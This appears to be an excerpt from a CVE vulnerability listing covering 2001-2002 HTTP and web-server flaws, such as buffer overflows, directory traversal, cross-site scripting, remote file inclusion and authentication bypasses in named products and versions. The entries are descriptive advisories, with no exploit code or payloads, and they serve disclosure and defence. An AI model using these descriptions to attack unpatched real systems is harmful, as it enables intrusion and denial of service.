13722| [CVE-2002-1252] The Application Messaging Gateway for PeopleTools 8.1x before 8.19, as used in various PeopleSoft products, allows remote attackers to read arbitrary files via certain XML External Entities (XXE) fields in an HTTP POST request that is processed by the SimpleFileHandler handler.
13723| [CVE-2002-1238] Peter Sandvik's Simple Web Server 0.5.1 and earlier allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/.
13724| [CVE-2002-1236] The remote management web server for Linksys BEFSR41 EtherFast Cable/DSL Router before firmware 1.42.7 allows remote attackers to cause a denial of service (crash) via an HTTP request to Gozila.cgi without any arguments.
13725| [CVE-2002-1222] Buffer overflow in the embedded HTTP server for Cisco Catalyst switches running CatOS 5.4 through 7.3 allows remote attackers to cause a denial of service (reset) via a long HTTP request.
13726| [CVE-2002-1213] Directory traversal vulnerability in RadioBird Software WebServer 4 Everyone 1.23 and 1.27, and other versions before 1.30, allows remote attackers to read arbitrary files via an HTTP request with ".." (dot-dot) sequences containing URL-encoded forward slash ("%2F") characters.
13727| [CVE-2002-1212] Buffer overflow in RadioBird Software WebServer 4 Everyone 1.23 and 1.27, and other versions before 1.30, allows remote attackers to cause a denial of service (crash) via a long HTTP GET request.
13728| [CVE-2002-1178] Directory traversal vulnerability in the CGIServlet for Jetty HTTP server before 4.1.0 allows remote attackers to execute arbitrary commands via ..\ (dot-dot backslash) sequences in an HTTP request to the cgi-bin directory.
13729| [CVE-2002-1169] IBM Web Traffic Express Caching Proxy Server 3.6 and 4.x before 4.0.1.26 allows remote attackers to cause a denial of service (crash) via an HTTP request to helpout.exe with a missing HTTP version number, which causes ibmproxy.exe to crash.
13730| [CVE-2002-1168] Cross-site scripting (XSS) vulnerability in IBM Web Traffic Express Caching Proxy Server 3.6 and 4.x before 4.0.1.26 allows remote attackers to execute script as other users via an HTTP request that contains an Location: header with a "%0a%0d" (CRLF) sequence, which echoes the Location as an HTTP header in the server response.
13731| [CVE-2002-1167] Cross-site scripting (XSS) vulnerability in IBM Web Traffic Express Caching Proxy Server 3.6 and 4.x before 4.0.1.26 allows remote attackers to execute script as other users via an HTTP GET request.
13732| [CVE-2002-1157] Cross-site scripting vulnerability in the mod_ssl Apache module 2.8.9 and earlier, when UseCanonicalName is off and wildcard DNS is enabled, allows remote attackers to execute script as other web site visitors, via the server name in an HTTPS response on the SSL port, which is used in a self-referencing URL, a different vulnerability than CAN-2002-0840.
13733| [CVE-2002-1153] IBM Websphere 4.0.3 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP request with long HTTP headers, such as "Host".
13734| [CVE-2002-1152] Konqueror in KDE 3.0 through 3.0.2 does not properly detect the "secure" flag in an HTTP cookie, which could cause Konqueror to send the cookie across an unencrypted channel, which could allow remote attackers to steal the cookie via sniffing.
13735| [CVE-2002-1147] The HTTP administration interface for HP Procurve 4000M Switch firmware before C.09.16, with stacking features and remote administration enabled, does not authenticate requests to reset the device, which allows remote attackers to cause a denial of service via a direct request to the device_reset CGI program.
13736| [CVE-2002-1142] Heap-based buffer overflow in the Remote Data Services (RDS) component of Microsoft Data Access Components (MDAC) 2.1 through 2.6, and Internet Explorer 5.01 through 6.0, allows remote attackers to execute code via a malformed HTTP request to the Data Stub.
13737| [CVE-2002-1122] Buffer overflow in the parsing mechanism for ISS Internet Scanner 6.2.1, when using the license banner HTTP check, allows remote attackers to execute arbitrary code via a long web server response.
13738| [CVE-2002-1120] Buffer overflow in Savant Web Server 3.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
13739| [CVE-2002-1098] Cisco VPN 3000 Concentrator 2.2.x, and 3.x before 3.5.3, adds an "HTTPS on Public Inbound (XML-Auto)(forward/in)" rule but sets the protocol to "ANY" when the XML filter configuration is enabled, which ultimately allows arbitrary traffic to pass through the concentrator.
13740| [CVE-2002-1094] Information leaks in Cisco VPN 3000 Concentrator 2.x.x and 3.x.x before 3.5.4 allow remote attackers to obtain potentially sensitive information via the (1) SSH banner, (2) FTP banner, or (3) an incorrect HTTP request.
13741| [CVE-2002-1087] The scripts (1) createdir.php, (2) removedir.php and (3) uploadfile.php for ezContents 1.41 and earlier do not check credentials, which allows remote attackers to create or delete directories and upload files via a direct HTTP POST request.
13742| [CVE-2002-1084] The VerifyLogin function in ezContents 1.41 and earlier does not properly halt program execution if a user fails to log in properly, which allows remote attackers to modify and view restricted information via HTTP POST requests.
13743| [CVE-2002-1081] The Administration console for Abyss Web Server 1.0.3 allows remote attackers to read files without providing login credentials via an HTTP request to a target file that ends in a "+" character.
13744| [CVE-2002-1079] Directory traversal vulnerability in Abyss Web Server 1.0.3 allows remote attackers to read arbitrary files via ..\ (dot-dot backslash) sequences in an HTTP GET request.
13745| [CVE-2002-1078] Abyss Web Server 1.0.3 allows remote attackers to list directory contents via an HTTP GET request that ends in a large number of / (slash) characters.
13746| [CVE-2002-1077] IPSwitch IMail Web Calendaring service (iwebcal) allows remote attackers to cause a denial of service (crash) via an HTTP POST request without a Content-Length field.
13747| [CVE-2002-1076] Buffer overflow in the Web Messaging daemon for Ipswitch IMail before 7.12 allows remote attackers to execute arbitrary code via a long HTTP GET request for HTTP/1.0.
13748| [CVE-2002-1068] The web server for D-Link DP-300 print server allows remote attackers to cause a denial of service (hang) via a large HTTP POST request.
13749| [CVE-2002-1061] Multiple buffer overflows in Thomas Hauck Jana Server 2.x through 2.2.1, and 1.4.6 and earlier, allow remote attackers to cause a denial of service and possibly execute arbitrary code via (1) an HTTP GET request with a long major version number, (2) an HTTP GET request to the HTTP proxy on port 3128 with a long major version number, (3) a long OK reply from a POP3 server, and (4) a long SMTP server response.
13750| [CVE-2002-1060] Cross-site scripting (XSS) vulnerability in Blue Coat Systems (formerly CacheFlow) CacheOS on Client Accelerator 4.1.06, Security Gateway 2.1.02, and Server Accelerator 4.1.06 allows remote attackers to inject arbitrary web script or HTML via a URL to a nonexistent hostname that includes the HTML, which is inserted into the resulting error page.
13751| [CVE-2002-1052] Jigsaw 2.2.1 on Windows systems allows remote attackers to use MS-DOS device names in HTTP requests to (1) cause a denial of service using the "con" device, or (2) obtain the physical path of the server using two requests to the "aux" device.
13752| [CVE-2002-1035] Omnicron OmniHTTPd 2.09 allows remote attackers to cause a denial of service (crash) via an HTTP request with a long, malformed HTTP 1version number.
13753| [CVE-2002-1032] Buffer overflow in KeyFocus (KF) web server 1.0.5 and earlier allows remote attackers to cause a denial of service and possibly execute arbitrary code via a malformed HTTP header.
13754| [CVE-2002-1031] KeyFocus (KF) web server 1.0.2 allows remote attackers to list directories and read restricted files via an HTTP request containing a %00 (null) character.
13755| [CVE-2002-1027] Cross-site scripting vulnerability in the default HTTP 500 error script (500error.jsp) for Macromedia Sitespring 1.2.0 (277.1) allows remote attackers to execute arbitrary web script via a link to 500error.jsp with the script in 1the et parameter.
13756| [CVE-2002-1025] JRun 3.0 through 4.0 allows remote attackers to read JSP source code via an encoded null byte in an HTTP GET request, which causes the server to send the .JSP file unparsed.
13757| [CVE-2002-1023] BadBlue server allows remote attackers to cause a denial of service (crash) via an HTTP GET request without a URI.
13758| [CVE-2002-1021] BadBlue server allows remote attackers to read restricted files, such as EXT.INI, via an HTTP request that contains a hex-encoded null byte.
13759| [CVE-2002-1012] Buffer overflow in web server for Tivoli Management Framework (TMF) ManagedNode 3.6.x through 3.7.1 allows remote attackers to cause a denial of service or execute arbitrary code via a long HTTP GET request.
13760| [CVE-2002-1011] Buffer overflow in web server for Tivoli Management Framework (TMF) Endpoint 3.6.x through 3.7.1, before Fixpack 2, allows remote attackers to cause a denial of service or execute arbitrary code via a long HTTP GET request.
13761| [CVE-2002-1010] Lotus Domino R4 allows remote attackers to bypass access restrictions for files in the web root via an HTTP request appended with a "?" character, which is treated as a wildcard character and bypasses the web handlers.
13762| [CVE-2002-1009] Cross-site scripting vulnerability in PowerBASIC pbcgi.cgi, as included in Lil' HTTP web server, allows remote attackers to execute arbitrary web script in other web browsers via the (1) "Name" or (2) "E-mail" parameters.
13763| [CVE-2002-1008] Cross-site scripting vulnerability in PowerBASIC urlcount.cgi, as included in Lil' HTTP web server, allows remote attackers to execute arbitrary web script in other web browsers via a request to urlcount.cgi that contains the script, which is not filtered when the REPORT capability prints the original request.
13764| [CVE-2002-1003] Buffer overflow in MyWebServer 1.02 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
13765| [CVE-2002-1001] Buffer overflows in AnalogX Proxy before 4.12 allows remote attackers to cause a denial of service and possibly execute arbitrary code via (1) a long HTTP request to TCP port 6588 or (2) a SOCKS 4A request to TCP port 1080 with a long DNS hostname.
13766| [CVE-2002-0968] Buffer overflow in AnalogX SimpleServer:WWW 1.16 and earlier allows remote attackers to cause a denial of service (crash) and execute code via a long HTTP request method name.
13767| [CVE-2002-0966] Buffer overflow in 4D web server 6.7.3 allow remote attackers to cause a denial of service and possibly execute arbitrary code via a long HTTP request.
13768| [CVE-2002-0946] Directory traversal vulnerability in SeaNox Devwex before 1.2002.0601 allows remote attackers to read arbitrary files via ..\ (dot dot) sequences in an HTTP request.
13769| [CVE-2002-0945] Buffer overflow in SeaNox Devwex allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request.
13770| [CVE-2002-0908] Directory traversal vulnerability in the web server for Cisco IDS Device Manager before 3.1.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTPS request.
13771| [CVE-2002-0902] Cross-site scripting vulnerability in phpBB 2.0.0 (phpBB2) allows remote attackers to execute Javascript as other phpBB users by including a http:// and a double-quote (") in the [IMG] tag, which bypasses phpBB's security check, terminates the src parameter of the resulting HTML IMG tag, and injects the script.
13772| [CVE-2002-0876] Web server for Shambala 4.5 allows remote attackers to cause a denial of service (crash) via a malformed HTTP request.
13773| [CVE-2002-0847] tinyproxy HTTP proxy 1.5.0, 1.4.3, and earlier allows remote attackers to execute arbitrary code via memory that is freed twice (double-free).
13774| [CVE-2002-0845] Buffer overflow in Sun ONE / iPlanet Web Server 4.1 and 6.0 allows remote attackers to execute arbitrary code via an HTTP request using chunked transfer encoding.
13775| [CVE-2002-0839] The shared memory scoreboard in the HTTP daemon for Apache 1.3.x before 1.3.27 allows any user running as the Apache UID to send a SIGUSR1 signal to any process as root, resulting in a denial of service (process kill) or possibly other behaviors that would not normally be allowed, by modifying the parent[].pid and parent[].last_rtime segments in the scoreboard.
13776| [CVE-2002-0815] The Javascript "Same Origin Policy" (SOP), as implemented in (1) Netscape, (2) Mozilla, and (3) Internet Explorer, allows a remote web server to access HTTP and SOAP/XML content from restricted sites by mapping the malicious server's parent DNS domain name to the restricted site, loading a page from the restricted site into one frame, and passing the information to the attacker-controlled frame, which is allowed because the document.domain of the two frames matches on the parent domain.
13777| [CVE-2002-0803] Bugzilla 2.14 before 2.14.2, and 2.16 before 2.16rc2, allows remote attackers to display restricted products and components via a direct HTTP request to queryhelp.cgi.
13778| [CVE-2002-0801] Buffer overflow in the ISAPI DLL filter for Macromedia JRun 3.1 allows remote attackers to execute arbitrary code via a direct request to the filter with a long HTTP host header field in a URL for a .jsp file.
13779| [CVE-2002-0792] The web management interface for Cisco Content Service Switch (CSS) 11000 switches allows remote attackers to cause a denial of service (soft reset) via (1) an HTTPS POST request, or (2) malformed XML data.
13780| [CVE-2002-0784] Directory traversal vulnerability in Lysias Lidik web server 0.7b allows remote attackers to list directories via an HTTP request with a ... (modified dot dot).
13781| [CVE-2002-0778] The default configuration of the proxy for Cisco Cache Engine and Content Engine allows remote attackers to use HTTPS to make TCP connections to allowed IP addresses while hiding the actual source IP.
13782| [CVE-2002-0769] The web-based configuration interface for the Cisco ATA 186 Analog Telephone Adaptor allows remote attackers to bypass authentication via an HTTP POST request with a single byte, which allows the attackers to (1) obtain the password from the login screen, or (2) reconfigure the adaptor by modifying certain request parameters.
13783| [CVE-2002-0764] Phorum 3.3.2a allows remote attackers to execute arbitrary commands via an HTTP request to (1) plugin.php, (2) admin.php, or (3) del.php that modifies the PHORUM[settings_dir] variable to point to a directory that contains a PHP file with the commands.
13784| [CVE-2002-0753] Buffer overflow in Talentsoft Web+ 5.0 allows remote attackers to execute arbitrary code via an HTTP request with a long cookie.
13785| [CVE-2002-0748] LabVIEW Web Server 5.1.1 through 6.1 allows remote attackers to cause a denial of service (crash) via an HTTP GET request that ends in two newline characters, instead of the expected carriage return/newline combinations.
13786| [CVE-2002-0736] Microsoft BackOffice 4.0 and 4.5, when configured to be accessible by other systems, allows remote attackers to bypass authentication and access the administrative ASP pages via an HTTP request with an authorization type (auth_type) that is not blank.
13787| [CVE-2002-0733] Cross-site scripting vulnerability in thttpd 2.20 and earlier allows remote attackers to execute arbitrary script via a URL to a nonexistent page, which causes thttpd to insert the script into a 404 error message.
13788| [CVE-2002-0717] PHP 4.2.0 and 4.2.1 allows remote attackers to cause a denial of service and possibly execute arbitrary code via an HTTP POST request with certain arguments in a multipart/form-data form, which generates an error condition that is not properly handled and causes improper memory to be freed.
13789| [CVE-2002-0708] Directory traversal vulnerability in the Web Reports Server for SurfControl SuperScout WebFilter allows remote attackers to read arbitrary files via an HTTP request containing ... (triple dot) sequences.
13790| [CVE-2002-0690] Format string vulnerability in McAfee Security ePolicy Orchestrator (ePO) 2.5.1 allows remote attackers to execute arbitrary code via an HTTP GET request with a URI containing format strings.
13791| [CVE-2002-0670] The web interface for Pingtel xpressa SIP-based voice-over-IP phone 1.2.5 through 1.2.7.4 uses Base64 encoded usernames and passwords for HTTP basic authentication, which allows remote attackers to steal and easily decode the passwords via sniffing.
13792| [CVE-2002-0663] Buffer overflow in HTTP Proxy for Symantec Norton Personal Internet Firewall 3.0.4.91 and Norton Internet Security 2001 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a large outgoing HTTP request.
13793| [CVE-2002-0602] Snapgear Lite+ firewall 1.5.4 and 1.5.3 allows remote attackers to cause a denial of service (crash) via a large number of connections to (1) the HTTP web management port, or (2) the PPTP port.
13794| [CVE-2002-0595] Buffer overflow in WTRS_UI.EXE (WTX_REMOTE.DLL) for WebTrends Reporting Center 4.0d allows remote attackers to execute arbitrary code via a long HTTP GET request to the /reports/ directory.
13795| [CVE-2002-0594] Netscape 6 and Mozilla 1.0 RC1 and earlier allows remote attackers to determine the existence of files on the client system via a LINK element in a Cascading Style Sheet (CSS) page that causes an HTTP redirect.
13796| [CVE-2002-0579] WorkforceROI Xpede 4.1 allows remote attackers to gain privileges as an Xpede administrator via a direct HTTP request to the /admin/adminproc.asp script, which does not prompt for a password.
13797| [CVE-2002-0578] Buffer overflow in 4D WebServer 6.7.3 allows remote attackers to cause a denial of service and possibly execute arbitrary code via an HTTP request with Basic Authentication containing a long (1) user name or (2) password.
13798| [CVE-2002-0576] ColdFusion 5.0 and earlier on Windows systems allows remote attackers to determine the absolute pathname of .cfm or .dbm files via an HTTP request that contains an MS-DOS device name such as NUL, which leaks the pathname in an error message.
13799| [CVE-2002-0566] PL/SQL module 3.0.9.8.2 in Oracle 9i Application Server 1.0.2.x allows remote attackers to cause a denial of service (crash) via an HTTP Authorization header without an authentication type.
13800| [CVE-2002-0565] Oracle 9iAS 1.0.2.x compiles JSP files in the _pages directory with world-readable permissions under the web root, which allows remote attackers to obtain sensitive information derived from the JSP code, including usernames and passwords, via a direct HTTP request to _pages.
13801| [CVE-2002-0562] The default configuration of Oracle 9i Application Server 1.0.2.x running Oracle JSP or SQLJSP stores globals.jsa under the web root, which allows remote attackers to gain sensitive information including usernames and passwords via a direct HTTP request to globals.jsa.
13802| [CVE-2002-0559] Buffer overflows in PL/SQL module 3.0.9.8.2 in Oracle 9i Application Server 1.0.2.x allow remote attackers to cause a denial of service or execute arbitrary code via (1) a long help page request without a dadname, which overflows the resulting HTTP Location header, (2) a long HTTP request to the plsql module, (3) a long password in the HTTP Authorization, (4) a long Access Descriptor (DAD) password in the addadd form, or (5) a long cache directory name.
13803| [CVE-2002-0556] Directory traversal vulnerability in Quik-Serv HTTP server 1.1B allows remote attackers to read arbitrary files via a .. (dot dot) in a URL.
13804| [CVE-2002-0554] webdriver in IBM Informix Web DataBlade 4.12 allows remote attackers to bypass user access levels or read arbitrary files via a SQL injection attack in an HTTP request.
13805| [CVE-2002-0543] Directory traversal vulnerability in Aprelium Abyss Web Server (abyssws) before 1.0.0.2 allows remote attackers to read files outside the web root, including the abyss.conf file, via URL-encoded .. (dot dot) sequences in the HTTP request.
13806| [CVE-2002-0541] Buffer overflow in Tivoli Storage Manager TSM (1) Server or Storage Agents 3.1 through 5.1, and (2) the TSM Client Acceptor Service 4.2 and 5.1, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request to port 1580 or port 1581.
13807| [CVE-2002-0532] EMU Webmail allows local users to execute arbitrary programs via a .. (dot dot) in the HTTP Host header that points to a Trojan horse configuration file that contains a pageroot specifier that contains shell metacharacters.
13808| [CVE-2002-0496] The HTTP server for SouthWest Talker server 1.0.0 allows remote attackers to cause a denial of service (server crash) via a malformed URL to port 5002.
13809| [CVE-2002-0482] Directory traversal vulnerability in PCI Netsupport Manager before version 7, when running web extensions, allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTP GET request.
13810| [CVE-2002-0448] Xerver Free Web Server 2.10 and earlier allows remote attackers to cause a denial of service (crash) via an HTTP request that contains many "C:/" sequences.
13811| [CVE-2002-0447] Directory traversal vulnerability in Xerver Free Web Server 2.10 and earlier allows remote attackers to list arbitrary directories via a .. (dot dot) in an HTTP GET request.
13812| [CVE-2002-0440] Trend Micro InterScan VirusWall HTTP proxy 3.6 with the "Skip scanning if Content-length equals 0" option enabled allows malicious web servers to bypass content scanning via a Content-length header set to 0, which is often ignored by HTTP clients.
13813| [CVE-2002-0433] Pi3Web 2.0.0 allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character.
13814| [CVE-2002-0422] IIS 5 and 5.1 supporting WebDAV methods allows remote attackers to determine the internal IP address of the system (which may be obscured by NAT) via (1) a PROPFIND HTTP request with a blank Host header, which leaks the address in an HREF property in a 207 Multi-Status response, or (2) via the WRITE or MKCOL method, which leaks the IP in the Location server header.
13815| [CVE-2002-0415] Directory traversal vulnerability in the web server used in RealPlayer 6.0.7, and possibly other versions, may allow local users to read files that are accessible to RealPlayer via a .. (dot dot) in an HTTP GET request to port 1275.
13816| [CVE-2002-0412] Format string vulnerability in TraceEvent function for ntop before 2.1 allows remote attackers to execute arbitrary code by causing format strings to be injected into calls to the syslog function, via (1) an HTTP GET request, (2) a user name in HTTP authentication, or (3) a password in HTTP authentication.
13817| [CVE-2002-0408] htcgibin.exe in Lotus Domino server 5.0.9a and earlier, when configured with the NoBanner setting, allows remote attackers to determine the version number of the server via a request that generates an HTTP 500 error code, which leaks the version in a hard-coded error message.
13818| [CVE-2002-0392] Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows remote attackers to cause a denial of service and possibly execute arbitrary code via a chunk-encoded HTTP request that causes Apache to use an incorrect size.
13819| [CVE-2002-0387] Buffer overflow in gxnsapi6.dll NSAPI plugin of the Connector Module for Sun ONE Application Server before 6.5 allows remote attackers to execute arbitrary code via a long HTTP request URL.
13820| [CVE-2002-0386] The administration module for Oracle Web Cache in Oracle9iAS (9i Application Suite) 9.0.2 allows remote attackers to cause a denial of service (crash) via (1) an HTTP GET request containing a ".." (dot dot) sequence, or (2) a malformed HTTP GET request with a chunked Transfer-Encoding with missing data.
13821| [CVE-2002-0354] The XMLHttpRequest object (XMLHTTP) in Netscape 6.1 and Mozilla 0.9.7 allows remote attackers to read arbitrary files and list directories on a client system by opening a URL that redirects the browser to the file on the client, then reading the result using the responseText property.
13822| [CVE-2002-0352] Phorum 3.3.2 allows remote attackers to determine the email addresses of the 10 most active users via a direct HTTP request to the stats.php program, which does not require authentication.
13823| [CVE-2002-0347] Directory traversal vulnerability in Cobalt RAQ 4 allows remote attackers to read password-protected files, and possibly files outside the web root, via a .. (dot dot) in an HTTP request.
13824| [CVE-2002-0341] GWWEB.EXE in GroupWise Web Access 5.5, and possibly other versions, allows remote attackers to determine the full pathname of the web server via an HTTP request with an invalid HTMLVER parameter.
13825| [CVE-2002-0335] Buffer overflow in Galacticomm Worldgroup web server 3.20 and earlier allows remote attackers to cause a denial of service, and possibly execute arbitrary code, via a long HTTP GET request.
13826| [CVE-2002-0331] Directory traversal vulnerability in the HTTP server for BPM Studio Pro 4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTP request.
13827| [CVE-2002-0304] Lil HTTP Server 2.1 allows remote attackers to read password-protected files via a /./ in the HTTP request.
13828| [CVE-2002-0298] ScriptEase MiniWeb Server 0.95 allows remote attackers to cause a denial of service (crash) via certain HTTP GET requests containing (1) a %2e%2e (encoded dot-dot), (2) several /../ (dot dot) sequences, (3) a missing URI, or (4) several ../ in a URI that does not begin with a / (slash) character.
13829| [CVE-2002-0297] Buffer overflow in ScriptEase MiniWeb Server 0.95 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long URL in an HTTP request.
13830| [CVE-2002-0291] Dino's Webserver 1.2 allows remote attackers to cause a denial of service (CPU consumption) and possibly execute arbitrary code via several large HTTP requests within a short time.
13831| [CVE-2002-0289] Buffer overflow in Phusion web server 1.0 allows remote attackers to cause a denial of service and execute arbitrary code via a long HTTP request.
13832| [CVE-2002-0288] Directory traversal vulnerability in Phusion web server 1.0 allows remote attackers to read arbitrary files via a ... (triple dot dot) in the HTTP request.
13833| [CVE-2002-0272] Buffer overflows in mpg321 before 0.2.9 allows local and possibly remote attackers to execute arbitrary code via a long URL to (1) a command line option, (2) an HTTP request, or (3) an FTP request.
13834| [CVE-2002-0250] Web configuration utility in HP AdvanceStack hubs J3200A through J3210A with firmware version A.03.07 and earlier, allows unauthorized users to bypass authentication via a direct HTTP request to the web_access.html file, which allows the user to change the switch's configuration and modify the administrator password.
13835| [CVE-2002-0245] Lotus Domino server 5.0.8 with NoBanner enabled allows remote attackers to (1) determine the physical path of the server via a request for a nonexistent file with a .pl (Perl) extension, which leaks the pathname in the error message, or (2) make any request that causes an HTTP 500 error, which leaks the server's version name in the HTTP error message.
13836| [CVE-2002-0240] PHP, when installed with Apache and configured to search for index.php as a default web page, allows remote attackers to obtain the full pathname of the server via the HTTP OPTIONS method, which reveals the pathname in the resulting error message.
13837| [CVE-2002-0236] Lucent VitalSuite 8.0 through 8.2, including VitalNet, VitalEvent, and VitalHelp/VitalAnalysis, allows remote attackers to bypass authentication via a direct HTTP request to the VsSetCookie.exe program, which returns a valid cookie for the desired user.
13838| [CVE-2002-0233] Directory traversal vulnerability in eshare Expressions 4 Web server allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP request.
13839| [CVE-2002-0201] Cyberstop Web Server for Windows 0.1 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request, possibly triggering a buffer overflow.
13840| [CVE-2002-0200] Cyberstop Web Server for Windows 0.1 allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name.
13841| [CVE-2002-0177] Buffer overflows in icecast 1.3.11 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request from an MP3 client.
13842| [CVE-2002-0166] Cross-site scripting vulnerability in analog before 5.22 allows remote attackers to execute Javascript via an HTTP request containing the script, which is entered into a web logfile and not properly filtered by analog during display.
13843| [CVE-2002-0150] Buffer overflow in Internet Information Server (IIS) 4.0, 5.0, and 5.1 allows remote attackers to spoof the safety check for HTTP headers and cause a denial of service or execute arbitrary code via HTTP header field values.
13844| [CVE-2002-0148] Cross-site scripting vulnerability in Internet Information Server (IIS) 4.0, 5.0 and 5.1 allows remote attackers to execute arbitrary script as other users via an HTTP error page.
13845| [CVE-2002-0133] Buffer overflows in Avirt Gateway Suite 4.2 allow remote attackers to cause a denial of service and possibly execute arbitrary code via (1) long header fields to the HTTP proxy, or (2) a long string to the telnet proxy.
13846| [CVE-2002-0124] MDG Computer Services Web Server 4D/eCommerce 3.5.3 allows remote attackers to exploit directory traversal vulnerability via a ../ (dot dot) containing URL-encoded slashes in the HTTP request.
13847| [CVE-2002-0123] MDG Computer Services Web Server 4D WS4D/eCommerce 3.0 and earlier, and possibly 3.5.3, allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long HTTP request.
13848| [CVE-2002-0107] Web administration interface in CacheFlow CacheOS 4.0.13 and earlier allows remote attackers to obtain sensitive information via a series of GET requests that do not end in with HTTP/1.0 or another version string, which causes the information to be leaked in the error message.
13849| [CVE-2002-0099] Buffer overflow in Michael Lamont Savant Web Server 3.0 allows remote attackers to cause a denial of service (crash) via a long HTTP request to the cgi-bin directory in which the CGI program name contains a large number of . (dot) characters.
13850| [CVE-2002-0081] Buffer overflows in (1) php_mime_split in PHP 4.1.0, 4.1.1, and 4.0.6 and earlier, and (2) php3_mime_split in PHP 3.0.x allows remote attackers to execute arbitrary code via a multipart/form-data HTTP POST request when file_uploads is enabled.
13851| [CVE-2002-0058] Vulnerability in Java Runtime Environment (JRE) allows remote malicious web sites to hijack or sniff a web client's sessions, when an HTTP proxy is being used, via a Java applet that redirects the session to another server, as seen in (1) Netscape 6.0 through 6.1 and 4.79 and earlier, (2) Microsoft VM build 3802 and earlier as used in Internet Explorer 4.x and 5.x, and possibly other implementations that use vulnerable versions of SDK or JDK.
13852| [CVE-2002-0057] XMLHTTP control in Microsoft XML Core Services 2.6 and later does not properly handle IE Security Zone settings, which allows remote attackers to read arbitrary files by specifying a local file as an XML Data Source.
13853| [CVE-2002-0008] Bugzilla before 2.14.1 allows remote attackers to (1) spoof a user comment via an HTTP request to process_bug.cgi using the "who" parameter, instead of the Bugzilla_login cookie, or (2) post a bug as another user by modifying the reporter parameter to enter_bug.cgi, which is passed to post_bug.cgi.
13854| [CVE-2001-1574] Buffer overflow in (1) HttpSaveCVP.dll and (2) HttpSaveCSP.dll in Trend Micro InterScan VirusWall 3.5.1 allows remote attackers to execute arbitrary code.
13855| [CVE-2001-1567] Lotus Domino server 5.0.9a and earlier allows remote attackers to bypass security restrictions and view Notes database files and possibly sensitive Notes template files (.ntf) via an HTTP request with a large number of "+" characters before the .nsf file extension, which are converted to spaces by Domino.
13856| [CVE-2001-1556] The log files in Apache web server contain information directly supplied by clients and does not filter or quote control characters, which could allow remote attackers to hide HTTP requests and spoof source IP addresses when logs are viewed with UNIX programs such as cat, tail, and grep.
13857| [CVE-2001-1545] Macromedia JRun 3.0 and 3.1 appends the jsessionid to URL requests (a.k.a. rewriting) when client browsers have cookies enabled, which allows remote attackers to obtain session IDs and hijack sessions via HTTP referrer fields or sniffing.
13858| [CVE-2001-1544] Directory traversal vulnerability in Macromedia JRun Web Server (JWS) 2.3.3, 3.0 and 3.1 allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTP GET request.
13859| [CVE-2001-1532] WebX stores authentication information in the HTTP_REFERER variable, which is included in URL links within bulletin board messages posted by users, which could allow remote attackers to hijack user sessions.
13860| [CVE-2001-1496] Off-by-one buffer overflow in Basic Authentication in Acme Labs thttpd 1.95 through 2.20 allows remote attackers to cause a denial of service and possibly execute arbitrary code.
13861| [CVE-2001-1465] SurfControl SuperScout only filters packets containing both an HTTP GET request and a Host header, which allows local users to bypass filtering by fragmenting packets so that no packet contains both data elements.
13862| [CVE-2001-1457] Buffer overflow in CrazyWWWBoard 2000p4 and 2000LEp5 allows remote attackers to execute arbitrary code via a long HTTP_USER_AGENT CGI environment variable.
13863| [CVE-2001-1370] prepend.php3 in PHPLib before 7.2d, when register_globals is enabled for PHP, allows remote attackers to execute arbitrary scripts via an HTTP request that modifies $_PHPLIB[libdir] to point to malicious code on another server, as seen in Horde 1.2.5 and earlier, IMP before 2.2.6, and other packages that use PHPLib.
13864| [CVE-2001-1342] Apache before 1.3.20 on Windows and OS/2 systems allows remote attackers to cause a denial of service (GPF) via an HTTP request for a URI that contains a large number of / (slash) or other characters, which causes certain functions to dereference a null pointer.
13865| [CVE-2001-1337] Beck IPC GmbH IPC@CHIP Embedded-Webserver allows remote attackers to cause a denial of service via a long HTTP request.
13866| [CVE-2001-1304] Buffer overflow in SHOUTcast Server 1.8.2 allows remote attackers to cause a denial of service (crash) via several HTTP requests with a long (1) user-agent or (2) host HTTP header.
13867| [CVE-2001-1299] Zorbat Zorbstats PHP script before 0.9 allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
13868| [CVE-2001-1298] Webodex PHP script 1.0 and earlier allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
13869| [CVE-2001-1296] More.groupware PHP script allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
13870| [CVE-2001-1293] Buffer overflow in web server of 3com HomeConnect Cable Modem External with USB (#3CR29223) allows remote attackers to cause a denial of service (crash) via a long HTTP request.
13871| [CVE-2001-1287] Buffer overflow in Web Calendar in Ipswitch IMail 7.04 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
13872| [CVE-2001-1266] Directory traversal vulnerability in Doug Neal's HTTPD Daemon (DNHTTPD) before 0.4.1 allows remote attackers to view arbitrary files via a .. (dot dot) attack using the dot hex code '%2E'.
13873| [CVE-2001-1251] SmallHTTP 1.204 through 3.00 beta 8 allows remote attackers to cause a denial of service via multiple long URL requests.
13874| [CVE-2001-1245] Opera 5.0 for Linux does not properly handle malformed HTTP headers, which allows remote attackers to cause a denial of service, possibly with a header whose value is the same as a MIME header name.
13875| [CVE-2001-1237] Phormation PHP script 0.9.1 and earlier allows remote attackers to execute arbitrary code by including files from remote web sites, using an HTTP request that modifies the phormationdir variable.
13876| [CVE-2001-1236] myphpPagetool PHP script 0.4.3-1 and earlier allows remote attackers to execute arbitrary code by including files from remote web sites, using an HTTP request that modifies the includedir variable.
